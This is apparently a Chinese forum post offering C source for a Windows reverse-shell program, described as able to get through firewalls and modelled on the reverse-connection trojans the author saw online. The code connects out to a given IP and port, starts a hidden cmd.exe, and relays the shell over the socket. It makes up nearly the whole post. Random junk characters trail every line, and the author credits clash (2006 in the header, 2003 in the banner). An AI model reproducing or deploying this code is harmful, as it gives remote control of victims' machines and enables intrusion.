Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Og%zf1)aZM  
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/* ============================== {~B4F}ES  
Rebound port in Windows NT w oY)G7%  
By wind,2006/7 sDh6 Uk  
===============================*/ OFPd6,(E  
#include R&-W_v+  
#include `OF;>u*:  
&bOodkOb  
#pragma comment(lib,"wsock32.lib") ^*owD;]4_  
FdK R{dX}  
void OutputShell(); &caO*R<#J}  
SOCKET sClient; ={&TeMMA  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .Q6{$Y%l  
:ayO+fr#  
void main(int argc,char **argv) "78cl*sD  
{ 0,
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WSADATA stWsaData; 7UEy L }N  
int nRet; (WU~e!}  
SOCKADDR_IN stSaiClient,stSaiServer; A$Jn3Xd~!  
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if(argc != 3) *b7 ^s,?  
{ 0"D?.E"$r  
printf("Useage:\n\rRebound DestIP DestPort\n"); \FaB!7*~  
return; ^!s}2GcS`  
} -QHzf&D?  
d'eM(4R@  
WSAStartup(MAKEWORD(2,2),&stWsaData); .q& ]wu  
SUQ}^gn]  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \2VZkVO9  
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stSaiClient.sin_family = AF_INET; t+Tg@~K2[>  
stSaiClient.sin_port = htons(0); ?[|4QzR  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); q~A|R  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F@*r%[S/  
{ ?wiq 3f6  
printf("Bind Socket Failed!\n"); jzOMjz~:)  
return; h"%,eW|^  
} CI]U)@\U  
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stSaiServer.sin_family = AF_INET; qcoZ2VJ hh  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); oeqJ?1=!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w})&[d  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $F'~^2  
{ ok=E/77`  
printf("Connect Error!"); fJN9+l  
return; q|Tk+JH{5  
} TbUkqABm  
OutputShell(); S>zKD  
} jC }u>AB  
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void OutputShell() ^ZZ@!Udy  
{ C3`.-/{D"  
char szBuff[1024]; mwiPvwHrg  
SECURITY_ATTRIBUTES stSecurityAttributes; !QzMeN;D  
OSVERSIONINFO stOsversionInfo; ~d
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; AT8,9  
STARTUPINFO stStartupInfo; peP:5WB  
char *szShell; :zk.^q  
PROCESS_INFORMATION stProcessInformation; \V7x3*nA  
unsigned long lBytesRead; er}'}n`@q  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6Yi,%#  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gA8u E  
stSecurityAttributes.lpSecurityDescriptor = 0; *h8XbBZH  
stSecurityAttributes.bInheritHandle = TRUE; P6Ol+SI#m  
lu(Omds+  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d=Ihl30m  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); PzG:M7  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2/W0y!qh1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2FtEt+A+'  
stStartupInfo.wShowWindow = SW_HIDE; +\@\,{Ujy  
stStartupInfo.hStdInput = hReadPipe; wZolg~dg  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "PM:&v  
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GetVersionEx(&stOsversionInfo); ]5MRp7  
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switch(stOsversionInfo.dwPlatformId) O4+w2'.,  
{ p~y 4q4  
case 1: yOm6HA``hT  
szShell = "command.com"; k$m
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break; _J#Hq 'K  
default: aQ3vG08L>  
szShell = "cmd.exe"; iw6M3g#  
break; +c2>j8e6  
} J~ rC  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -CNv=vj 3  
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send(sClient,szMsg,77,0); }C1}T}U  
while(1) +2enz!z#k  
{ gM:oP.  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [
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if(lBytesRead) B3=/iOb#  
{ lY8Qy2k|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); MZ[g|o!)v  
send(sClient,szBuff,lBytesRead,0); w'j]Y%  
} [?(W7  
else ziip*<a!_  
{ AZP>\Dq  
lBytesRead=recv(sClient,szBuff,1024,0); P =Gb  
if(lBytesRead<=0) break; z?g4^0e  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^E,UcK;  
} "s^@PzQpN  
} ;^SgV   
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return; -Q8`p  
}